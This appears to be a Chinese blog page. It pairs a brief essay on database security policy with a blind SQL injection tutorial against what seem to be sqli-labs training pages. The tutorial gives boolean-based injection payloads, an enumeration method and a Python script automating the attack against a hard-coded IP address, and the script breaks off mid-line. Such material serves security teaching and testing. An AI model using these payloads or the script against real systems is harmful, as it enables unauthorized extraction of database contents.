安全测试之数据库盲注以及报告相关
@nzh-2020/10/15
随着网络信息化的发展,信息安全问题也日益突出。在经历一段网络安全热度之后,越来越多的安全公司认识到,安全问题不只是技术问题,而更多的是管理问题。比如这样的简单例子:对于帐号和密码通常在系统建立的时候特别重视,然而经过一段时间后,由于管理上的松懈,很多情况下,原本复杂的密码又恢复成为很简单的字符,安全隐患由此产生。而这样的安全问题,很难从技术上得到解决。
数据库是金融、信息化和很多应用系统的核心,数据库的安全性应该更加受到重视。因此,制订合适的数据库安全策略,是维护数据库安全的规范,也是其指导方针,它即从技术上维护安全也从管理上进行规范。
信息安全中,安全策略主要是维护数据信息的完整性、保密性和可用性。因此,数据库的安全策略将主要围绕这三点进行,包括物理安全、访问控制、数据备份和应急响应等。这里,我们将以微软的SQL Server 数据库为例来说明制订其安全策略的思路,其他数据库安全策略制订思路基本类似。
作为公司安全测试人员,首先,我会编写一个漏洞利用报告来展示公司的漏洞,并建议ICO更新安全保护流程,例如员工教育和更新数据库。其次,我将帮助安装漏洞补丁并帮助增强数据库安全性,例如输入过滤、加密存储信息等。
--------------------------------------------------------------
@nzh-2020/12/5
写了那么多篇sql注入的文章,现在终于要说到盲注了。盲注,Blind SQL Injection,听这名字就感觉整个过程就是一个盲目的过程,至于为什么这么说,看到后来大家就明白了。
尝试一下输入id=1,看到结果并没有太多有用的信息。

然后还是和之前一样,尝试加各种引号括号之类的,结果发现双引号和括号都不影响出现正常结果,在输入单引号的时候,界面上的“You are in.....”消失了。这说明两点:
- 后台中这个id是用单引号包裹的,这样我们就可以通过单引号来闭合。
- 这里界面上不显示报错信息,这样我们就没法通过基于错误提示的方法。
为了验证第二点,我们尝试双查询注入:
[domain]/Less-5/?id=1' union select 1,count(*),concat_ws(':',(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand()*2)) as a from information_schema.tables group by a %23
在尝试了若干次后,终于出现了错误界面,只不过不显示任何错误信息。

所以,在这里,我们只能选择盲注。作为示例,我们还是选择求出我们当前的数据库。其他的类似的方法求的即可。
我们首先关注一下几个函数:
- ascii(str): str是一个字符串参数,返回值为其最左侧字符的ascii码。通过它,我们才能确定特定的字符。
- substr(str,start,len): 这个函数是取str中从下标start开始的,长度为len的字符串。通常在盲注中用于取出单个字符,交给ascii函数来确定其具体的值。
- length(str): 这个函数是用来获取str的长度的。这样我们才能知道需要通过substr取到哪个下标。
- count([column]): 这个函数大家应该很熟,用来统计记录的数量的,其在盲注中,主要用于判断符合条件的记录的数量,并逐个破解。
-if(condition,a,b): 当condition为true的时候,返回a,当condition为false的时候,返回b。
于是我们首先要获取到当前数据库的长度,可以通过以下payload来实现:
[domain]/Less-5/?id=1' and (select length(database())>1) and '1'='1 返回true
[domain]/Less-5/?id=1' and (select length(database())>10) and '1'='1 返回false
[domain]/Less-5/?id=1' and (select length(database())>5) and '1'='1 返回true
[domain]/Less-5/?id=1' and (select length(database())>7) and '1'='1 返回true
[domain]/Less-5/?id=1' and (select length(database())>8) and '1'='1 返回false
细心的童鞋应该发现了,Sunny这里用的是二分法,这样可以有效减少查询次数。最后发现数据库的长度比7大,但是不大于8。也就是数据库的长度为8。
然后我们就利用ascii和substr来查看数据库名称的每一位了。首先还是给出第一位的payload,其他都类似。另外,值得一提的是,这里是利用ascii码获取的,而且字符都是可见字符,所以ascii码的范围在32到127之间。
[domain]/Less-5/?id=1' and ((select ascii(substr(database(),1,1)))>32) and '1'='1 返回true
[domain]/Less-5/?id=1' and ((select ascii(substr(database(),1,1)))>127) and '1'='1 返回false
[domain]/Less-5/?id=1' and ((select ascii(substr(database(),1,1)))>79) and '1'='1 返回true
[domain]/Less-5/?id=1' and ((select ascii(substr(database(),1,1)))>103) and '1'='1 返回true
[domain]/Less-5/?id=1' and ((select ascii(substr(database(),1,1)))>115) and '1'='1 返回false
[domain]/Less-5/?id=1' and ((select ascii(substr(database(),1,1)))>109) and '1'='1 返回true
[domain]/Less-5/?id=1' and ((select ascii(substr(database(),1,1)))>112) and '1'='1 返回true
[domain]/Less-5/?id=1' and ((select ascii(substr(database(),1,1)))>113) and '1'='1 返回true
[domain]/Less-5/?id=1' and ((select ascii(substr(database(),1,1)))>114) and '1'='1 返回true
说明第一个字母的ascii码大于114但是不大于115,因此,它的ascii码就是115,所以第一个字母为‘s’。同样的方法,大家可以获得接下来的其他七个字母,最终得到“security”。
通过这个方法,我们可以首先通过information_schema库中的tables表查看某个我们感兴趣的数据库下的所有的表的数量,然后我们按照limit的方法选取某个表,通过length得到它的名字的长度,随后得到它的完整表名,同理通过columns表获得某个表下的所有字段数量,并且获得每个字段的名称长度和具体名称。最后就是查出某个表下的记录数量,并且根据字段去获取某条记录的某个字段值的长度,随后是获得该值的内容。
总体来说,这个方法没什么难度,应该说和双查询那样的语法难度可能也差不多。就是盲注的过程较为繁琐,手工注入需要极大的耐心,因此,我们通常可以选择利用脚本来进行注入。Sunny分享一下很久之前写的脚本。
import urllib
import urllib2
tableData = []
url = "http://125.216.242.51/Less-8/?id=1"
success_str = "You are in"
asciipayload = "' and ascii(substr((%s),%d,1))>=%d #"
lengthpayload = "' and length(%s)>=%d #"
tablenumpayload = "' and (select count(table_name) from information_schema.tables where table_schema = '%s')>=%d #"
tablenamelenpayloadfront = "' and (select length(table_name) from information_schema.tables where table_schema = '%s' limit "
tablenamelenpayloadbehind = " ,1)>=%d #"
recordnumpayload = "' and (select count(*) from %s)>=%d #"
selectTable = "select table_name from information_schema.tables where table_schema = '%s' limit %d,1 "
def getLengthResult(payload,in_str,len):
#print 'len=' + str(len)
final_url = url + urllib.quote(payload % (in_str,len))
#print final_url
res = urllib2.urlopen(final_url)
res_str = res.read()
#print res_str
if success_str in res_str:
return True
else:
return False
def getAsciiResult(payload,in_str,pos,ascii):
final_url = url + urllib.quote(payload % (in_str,pos,ascii))
res = urllib2.urlopen(final_url)
res_str = res.read()
if success_str in res_str:
return True
else:
return False
def getLength(payload,str):
leftLen = 0
rightLen = 0
guess = 10
step = 5
flag = False
while 1:
if getLengthResult(payload,str,guess) == True:
guess = guess + step
flag = True
else:
if flag == True:
rightLen = guess
leftLen = guess - step
else:
rightLen = guess
break
#print leftLen,rightLen
if rightLen - leftLen > 10:
#binary serch
while leftLen < rightLen-1:
midLen = (leftLen + rightLen) >> 1
if(getLengthResult(payload,str,midLen) == True):
leftLen = midLen
else:
rightLen = midLen
return leftLen
else:
#one by one
for i in range(leftLen,rightLen+1):
#print i
if(getLengthResult(payload,str,i) == False):
return i-1
def getAscii(payload,str,len):
res = ''
#32->127
for i in range(1,len+1):
leftAsc = 32
rightAsc = 127
#binary search
while leftAsc < rightAsc - 1:
midAsc = (leftAsc + rightAsc